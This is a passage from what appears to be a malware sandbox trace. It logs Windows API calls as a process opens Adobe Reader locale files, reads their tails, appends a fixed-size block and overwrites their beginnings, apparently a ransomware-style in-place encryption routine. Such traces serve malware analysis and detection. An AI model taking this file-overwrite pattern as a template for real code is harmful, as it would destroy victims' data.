lpOverlapped=0x0 | out: lpBuffer=0x26d0018*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.549] WriteFile (in: hFile=0x1b0, lpBuffer=0x26d0018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x26d0018*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.549] CloseHandle (hObject=0x1b0) returned 1 [0040.549] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Weblink.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\weblink.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0040.549] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.551] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6c00 [0040.551] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.552] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.552] ReleaseMutex (hMutex=0x128) returned 1 [0040.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.552] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.RUS", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.RUS", lpUsedDefaultChar=0x0) returned 11 [0040.552] ReadFile (in: hFile=0x1b0, lpBuffer=0x3a4dc28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x3a4dc28*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.562] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5c00 [0040.562] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c7e08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.562] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5c00 [0040.562] WriteFile (in: hFile=0x1b0, lpBuffer=0x276e388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e388*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.563] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0040.563] WriteFile (in: hFile=0x1b0, lpBuffer=0x276e388*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e388*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.563] CloseHandle (hObject=0x1b0) returned 1 [0040.563] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\EScript.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\escript.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0040.563] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.563] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x9e00 [0040.563] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.563] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.564] ReleaseMutex (hMutex=0x128) returned 1 [0040.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SKY", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SKY", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SKY", lpUsedDefaultChar=0x0) returned 11 [0040.564] ReadFile (in: hFile=0x1b0, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0040.768] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x8e00 [0040.768] ReadFile (in: hFile=0x1b0, lpBuffer=0x2736c38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.768] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x8e00 [0040.768] WriteFile (in: hFile=0x1b0, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.769] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0040.769] WriteFile (in: hFile=0x1b0, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0040.769] CloseHandle (hObject=0x1b0) returned 1 [0040.769] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Search.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\search.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0040.769] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.769] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x5c00 [0040.769] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.769] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.769] ReleaseMutex (hMutex=0x128) returned 1 [0040.769] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SKY", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.770] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.SKY", cchWideChar=10, lpMultiByteStr=0x1e6302c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.SKY", lpUsedDefaultChar=0x0) returned 10 [0040.770] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.781] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4c00 [0040.781] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.789] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x4c00 [0040.789] WriteFile (in: hFile=0x1b0, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.790] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0040.790] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.790] CloseHandle (hObject=0x1b0) returned 1 [0040.790] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Annots.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\annots.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0040.790] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.790] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x75800 [0040.790] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.790] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.790] ReleaseMutex (hMutex=0x128) returned 1 [0040.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SLV", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.790] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SLV", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SLV", lpUsedDefaultChar=0x0) returned 10 [0040.790] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0040.802] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x74800 [0040.802] ReadFile (in: hFile=0x1b0, lpBuffer=0x280dd28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x280dd28*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.861] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x74800 [0040.862] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.862] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0040.862] WriteFile (in: hFile=0x1b0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0040.862] CloseHandle (hObject=0x1b0) returned 1 [0040.862] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\PDDom.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\pddom.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0040.862] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.863] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2c00 [0040.863] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.863] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.863] ReleaseMutex (hMutex=0x128) returned 1 [0040.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.SLV", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.863] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PDDom.SLV", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PDDom.SLV", lpUsedDefaultChar=0x0) returned 9 [0040.863] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.866] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1c00 [0040.866] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.879] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1c00 [0040.879] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.880] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0040.880] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.880] CloseHandle (hObject=0x1b0) returned 1 [0040.880] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Spelling.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\spelling.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0040.880] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.881] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2800 [0040.881] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.881] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.881] ReleaseMutex (hMutex=0x128) returned 1 [0040.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.881] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.SLV", cchWideChar=12, lpMultiByteStr=0x1e6342c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.SLV", lpUsedDefaultChar=0x0) returned 12 [0040.881] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.917] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1800 [0040.917] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.918] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1800 [0040.918] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.918] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0040.918] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.918] CloseHandle (hObject=0x1b0) returned 1 [0040.918] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\DVA.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\dva.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0040.919] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.919] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4800 [0040.919] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.919] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.919] ReleaseMutex (hMutex=0x128) returned 1 [0040.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SVE", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.919] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SVE", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SVE", lpUsedDefaultChar=0x0) returned 7 [0040.919] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.928] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3800 [0040.928] ReadFile (in: hFile=0x1b0, lpBuffer=0x2737c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2737c98*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.934] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3800 [0040.935] WriteFile (in: hFile=0x1b0, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.935] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0040.935] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.935] CloseHandle (hObject=0x1b0) returned 1 [0040.935] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\reflow.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\reflow.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0040.935] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.936] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1200 [0040.936] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.936] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.936] ReleaseMutex (hMutex=0x128) returned 1 [0040.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SVE", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.936] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SVE", cchWideChar=10, lpMultiByteStr=0x1e631ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SVE", lpUsedDefaultChar=0x0) returned 10 [0040.936] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d80018, 